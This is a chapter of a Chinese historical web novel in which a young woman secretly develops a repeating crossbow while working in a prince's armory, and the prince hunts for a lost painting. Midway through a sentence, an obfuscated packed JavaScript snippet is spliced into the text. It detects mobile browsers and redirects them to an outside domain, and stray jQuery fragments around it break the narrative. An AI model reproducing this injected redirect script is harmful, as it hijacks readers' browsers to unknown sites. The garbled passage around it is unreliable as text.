捻了支用惯的毛笔,容雅歌来给萧正则写回信。
繁缛富丽、委婉含蓄,这都是容鹿鸣跟容雅歌学的,萧正则又照着容鹿鸣学来。
一封信写罢,任谁也挑不出毛病,可以直接裱起来挂墙上。至于萧正则的那个问题:他老师容鹿鸣何时归呢?
猜去吧。
十余种弓□□已清晰印在容鹿鸣脑中,改进晋国目前的弓弩装备,够用了。现下完全可以全身而退。
但是,有个念头拉住了她。去前面的厅堂送修好的弓弩时,她听身旁有人极力压低声音,说了两个字:“连弩。”
这两个字挂住了她的神经,与她曾有的构想不谋而合。在一刻,她决定继续等待,如同耐心狩猎的兽。
《墨经》中记载的“连弩之车”,她早已熟知结构,还同哥哥一道,在军械坊中造出过一台。攻击力是没的说,测试那天,陛下还特意派了太子来观看。可问题是,体积太大,只能作为攻城或防守器械。
如何把这“连弩之术”嵌入手持弓弩之中?
先前在家中,她已做过许多尝试,还在哥哥的帮助下,做了个小号的“连弩之车”,仔细揣摩其结构。
有段时间她整日在家里绘图,林太傅的书斋也不去了,容雅歌也没去——他对此也颇感兴趣,两人边画边商讨。
他俩几日都不去前厅用饭,容止觉得奇怪,亲自来月柏轩的书斋看这俩孩子。他心里还有点儿不安,知道他们在做什么,担心他们又像上回那样,不小心一箭飞出,把房檐上立了百年的鸱吻给射了下来,显些砸到老管家。
“唉——”虽是轻轻一叹,容止还是颇感骄傲的。都是为了改进军中武器,孩子们虽说都还年少,却已是心怀家国。
清风拨动翠竹,书斋内传来说话声。
容雅歌手里捏着个大胡饼,容鹿鸣一口,他一口地吃着。容鹿鸣手里端着个弓弩,咬一口哥哥的饼,鼓着腮帮嚼,低头接着摆弄。
这弓弩与军中的大不相同,弩臂上加了个长方形的匣子,后部则加了个拉杆。只见容鹿鸣使力向后掰动拉杆,“铛”地触到了什么机关,“噗——”,一支箭径直飞了过来。堪堪钉入距容止不足半尺的黄花梨门框上……
两声惊呼并作一声,容止是猝不及防,容鹿鸣呢?
“鸣鸣怎么了?”容止也顾不上其他,疾步走了进来。
“阿耶,我没事儿,只是手腕扭到了,这弓弩用起来太费劲。”
接着,她看向阿耶,又看向门框上的箭,冷汗就下来了。容雅歌也变了脸色。
“阿耶……您……您没事吧?”
“阿耶没事,你们这弓弩,力道还挺大。”
容鹿鸣同容雅歌一起,把阿耶上下左右看了又看,同时长吁一口气。
“看我做什么,看看你妹妹,她的手!”
容雅歌给她揉着扭伤的手,她另一手捏着没吃完的大半个胡饼,继续她一口,哥哥一口,一边还抬头望着她阿耶,眼里水汪汪的,“阿耶,幸好刚刚箭匣里只放了一支箭,您下次可不许这样了。”
“好。”
“阿耶,下次我们去军械坊。在家里,确实不稳妥。”容雅歌说道。
“不过,阿耶,哥哥和我改进的这个弓弩,已经可以连发了,就是,用起来太费劲……”
见她垂下脑袋,连嚼饼的动作都慢了。容止慈爱地笑了,摸摸她的头,拍拍长子的肩膀,“比起先前的弓弩,已经有了很大的进步,慢慢来就好。”
容鹿鸣点点头,高兴起来,把手中剩下的胡饼掰成三份——两大一小。捧了块儿大的给容止,“阿耶尝尝,白管家改进了配方呢,可好吃啦。”另一大块儿塞到哥哥嘴里。
胡饼其实已经冷了。可容止吃在嘴里,却觉得美味无比。
阳光愈久地在青石地板上印下光痕,快要入夏了。
容鹿鸣坐在这不大厅堂的阴影里,看着这些业已修好的和无法修理的弓弩,想道:关于连弩的一些疑问,也许,可以在这里找到答案。
近几日送来修理的弓弩变少了。容鹿鸣刻意做出闲散的样子。她不去前面的厅堂转悠,因为不需再向那些工匠打听西戎的弓弩之术,送到她手中修理的各色弓弩,已然说尽其中奥秘。
她只是不时去门外的花圃和池塘溜达。而除此之外的时间,她都在悄悄做另一件事:将报废弓弩的零件拆下尚能使用的部分,尝试着组装出可以连发的机弩。
宇文靖这边呢,在王府书斋见了容鹿鸣之后,连“疯”了两天。好在“疯”得不明显,只有近侍蓝英看出来了。连续两晚,他每晚都去芸香阁找东西,一直找到深夜。
蓝英问他:“王爷,您找什么呢?奴才令人来一起找。”
宇文靖答非所问,“不重要。你们找不到。本王自己来。”
白天,他照常处理事务,头脑清晰、言语锋锐。可一到晚上,便是另一幅样子。
“王爷,今晚还去吗?”晚饭过后,侍女们撤去残席,蓝英恭敬地问道。
“去。”
蓝英在前打着灯笼,他们主仆二人要去王府后园的藏书楼——芸香阁。宇文靖的父亲自小酷爱读书,宇文靖也是,府中藏书无数。陛下若是得了什么珍本、趣书,也常会赐给他们。由此,芸香阁中藏书甚众。还有数目繁多的书画名作。
宇文靖要找的不是书册,而是幅画,并非出自名家,出自名家的那幅,早已在“辰王之乱”中毁了。他要找那冒险临摹下的一幅——整个西戎唯剩的一幅。
他其实已经许多许多年不再想起这幅画,不能想起、不敢想起。梦里偶尔触到,尽是血光和厮杀。
父亲薨逝,承袭王爵,奉命就番……逐渐地,他得以把那画儿和梦都忘了,直到,他那天见到容鹿鸣。
这人真是少有的俊气,宇文靖想,无关男女,他好看得令人过目难忘。然后,有种说不清的感觉开始悠缓地向他心头爬去——带着些惊惧,他觉得容鹿鸣颇像一位故人。
晚间便噩梦连连,他已许多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091725|171898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
年不曾如此,把蓝英吓得够呛。
“王爷,先靠着软枕喝两口参茶,奴才这就去请御医。”
“不必。”宇文靖擦了额角的汗,披起沙青金宝地螭龙交领长袍,散着发,对蓝英说:“挑盏灯笼,随我去芸香阁找样东西,就我们俩。”
见他神情肃穆,非是残梦未醒,蓝英忙去准备,随他一道去。
接连找了三个晚上,看到了许多前朝名家的大作,却唯独找不到那幅画像。
“兴许是我记错了。”宇文靖宽慰自己,脑中残存的面影都是模糊的,又怎么能说另一个人同她长得像呢?
这种徒劳地找本身就像一种赎罪。可纵使面目怎样模糊,那种甫一会面、刹那间碰出的熟悉感,如一枚银亮的针,清晰刺入他心里。
蓝英猜到了什么,反复安慰他,“往事俱已消散,王爷切莫多思。”
连续找了几个晚上,一无所获。派去核查萧二、萧四身份的近侍来报,此二人所录信息均无误。
宇文靖这才听劝,不再去找。他想,大概是前阵子太累,对奕王的各种试探疲于应对,一不小心,被旧时回忆绊了一下,应与那个新来的工匠无关。
他叫什么来着?话到嘴边竟忘了,宇文靖问身边的蓝英:“那个做饭很好吃的,他的兄弟,在军械坊做工的,叫什么名字?”
“回禀王爷,他叫萧二。”
“他造的弓弩怎么样,你去看过没?”
“奴才昨日去看过了,他……没在造弓弩。”
宇文靖长眉一挑,“没在造弓弩,那叫他来干什么?我可不养闲人。”
“也不算闲人,掌事把他撵去‘三厅’,修弓弩去了。”
“‘三厅’那半厅废旧弓弩,上个月不是才吓走两个工匠吗,他们不会就把他一个人扔那儿了吧?”宇文靖是当玩笑说的,却听蓝英半天没吭声。
“真把他一个人扔那儿了?”
“是。”
“他都没来找掌事、找你,闹一闹?”
“目前,还没有。”
宇文靖觉得真是奇怪。常言道,有才之人大多傲气,需得晾他一晾。可他这是晾过了头,还是尚未晾到时候?他有些拿不准了。
对容鹿鸣而言,晾与不晾都无妨。她压根不知道前面“一厅”“二厅”发生了什么。
当天下午,宇文靖刚同太守商讨罢农政之事,侍从来禀:“军械坊有人求见。”
宇文靖想,说曹操曹操到。他弹冠振衣,预备再仔细看一看这萧二的样貌。
施施然走进来的却是个胖墩墩的老头子——军械坊副掌事,姓郭。
“郭老来此何事?”宇文靖面上挂着谦恭的笑,心里一句话都懒得说。军械坊中多少事,都是这郭老头惹出来的。他年轻时曾为军械坊立下不少功劳,也颇有人望,可近些年来却性情大变,难以容人、倚老卖老。
“回禀王爷,老夫前来,是为告某人的状!”
“何人?”
“萧二!”